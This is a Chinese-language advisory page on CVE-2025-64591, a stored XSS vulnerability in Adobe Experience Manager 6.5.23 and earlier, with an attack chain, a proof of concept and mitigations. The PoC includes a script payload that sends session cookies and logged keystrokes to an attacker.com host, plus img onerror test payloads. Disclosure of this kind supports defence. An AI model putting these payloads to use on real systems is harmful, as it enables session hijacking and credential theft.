IPBUF安全漏洞报告
English
CVE-2025-64591 CVSS 5.4 中危

CVE-2025-64591: Adobe Experience Manager存储型XSS漏洞

披露日期: 2025-12-10

漏洞信息

漏洞编号
CVE-2025-64591
漏洞类型
存储型XSS
CVSS评分
5.4 中危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
需要交互 (UI:R)
影响产品
Adobe Experience Manager

相关标签

CVE-2025-64591存储型XSS跨站脚本Adobe Experience ManagerAEM内容管理漏洞会话劫持APSB25-115

漏洞概述

CVE-2025-64591是Adobe Experience Manager中存在的一个存储型跨站脚本(Stored XSS)漏洞。该漏洞影响Adobe Experience Manager 6.5.23及更早版本。攻击者可以利用此漏洞通过低权限账户在表单字段中注入恶意JavaScript脚本。当其他用户访问包含该恶意字段的页面时,注入的脚本将在受害者浏览器中执行,可能导致会话劫持、敏感信息窃取、钓鱼攻击等安全问题。Adobe Experience Manager是企业级内容管理解决方案,广泛用于构建和管理网站、数字体验平台等,因此该漏洞可能影响大量企业用户。由于攻击需要低权限账户且需要用户交互,CVSS评分评为5.4分(中等严重程度)。该漏洞由Adobe安全团队([email protected])发现并报告,披露日期为2025年12月10日。

技术细节

该漏洞是典型的存储型XSS(Stored Cross-Site Scripting)漏洞,存在于Adobe Experience Manager的表单处理模块中。存储型XSS与反射型XSS的主要区别在于,恶意脚本被永久存储在目标服务器上(如数据库、论坛帖子、评论字段等),当其他用户访问包含该恶意内容的页面时,脚本会自动执行。在本漏洞中,攻击者以低权限账户身份登录Adobe Experience Manager系统,在表单输入字段中注入恶意JavaScript代码(如<script>alert(document.cookie)</script>)。由于系统未对用户输入进行充分的HTML转义或内容安全策略(CSP)验证,恶意脚本被存储在服务器端。当具有更高权限的用户或管理员浏览到包含该表单的页面时,浏览器会解析并执行注入的脚本。攻击者可利用此窃取用户会话Cookie、劫持用户会话、进行钓鱼攻击或修改页面内容。该漏洞的CVSS向量显示攻击复杂度低(AC:L),需要低权限(PR:L)和用户交互(UI:R),攻击向量为网络(AV:N),影响范围为已更改(S:C)。

攻击链分析

STEP 1
步骤1: 信息收集
攻击者识别目标Adobe Experience Manager实例版本,确认版本低于6.5.24以确定漏洞存在性
STEP 2
步骤2: 低权限账户获取
攻击者获取Adobe Experience Manager的低权限账户凭据,可能通过默认凭据、暴力破解或社工手段获取
STEP 3
步骤3: 恶意脚本注入
使用低权限账户登录系统,在存在漏洞的表单字段中注入恶意JavaScript代码,如<script>标签或事件处理器属性
STEP 4
步骤4: 脚本存储
恶意脚本被系统存储在后端数据库或内容仓库中,由于缺乏输入验证和输出编码,脚本被永久保存
STEP 5
步骤5: 诱导受害者访问
攻击者通过钓鱼邮件、社交工程或其他方式诱导具有更高权限的用户访问包含恶意表单的页面
STEP 6
步骤6: 脚本执行
当受害者浏览器加载页面时,存储的恶意脚本在受害者浏览器上下文中执行,可能窃取Cookie、会话令牌或执行其他恶意操作
STEP 7
步骤7: 账户劫持/数据窃取
攻击者利用窃取的凭据或会话信息提升权限、访问敏感数据或执行未授权操作

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
// CVE-2025-64591 Adobe Experience Manager Stored XSS PoC // Author: Security Researcher // Target: Adobe Experience Manager < 6.5.24 // Step 1: Authenticate with low-privilege account const loginEndpoint = 'https://target-aem.com/libs/granite/core/content/login.html'; const credentials = { j_username: 'low_priv_user', j_password: 'password', _charset_: 'utf-8' }; // Step 2: Inject malicious JavaScript into form field // Typical vulnerable fields include form components, metadata fields, etc. const xssPayload = '<script>\n' + ' // Steal session cookies ' + ' fetch("https://attacker.com/exfiltrate?data=" + btoa(document.cookie), { ' + ' mode: "no-cors" ' + ' });\n' + ' // Or perform keylogging ' + ' document.addEventListener("keypress", function(e) {\n' + ' fetch("https://attacker.com/log?key=" + e.key);\n' + ' });\n' + '</script>'; // Step 3: Submit form with XSS payload const formSubmitEndpoint = 'https://target-aem.com/content/forms/af/vulnerable-form/jcr:content/guideContainer.af.submit.jsp'; const formData = { './name': xssPayload, './description': '<img src=x onerror="alert(document.domain)">', ':operation': 'submit' }; // Step 4: Trigger victim to access the page containing the malicious field // The injected script will execute when victim visits: // https://target-aem.com/content/vulnerable-form.html

影响范围

Adobe Experience Manager 6.5.23及更早版本
Adobe Experience Manager < 6.5.24

防御指南

临时缓解措施
如无法立即升级,可采取以下临时缓解措施:1)禁用或限制低权限用户对表单编辑功能的访问;2)实施严格的输入过滤规则,阻止<script>标签和事件处理器属性(如onerror、onload等)的提交;3)配置Web应用防火墙(WAF)规则检测和拦截XSS攻击载荷;4)对关键页面启用额外的安全验证机制;5)监控日志中的异常表单提交行为。建议在业务低峰期尽快完成版本升级以彻底修复该漏洞。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表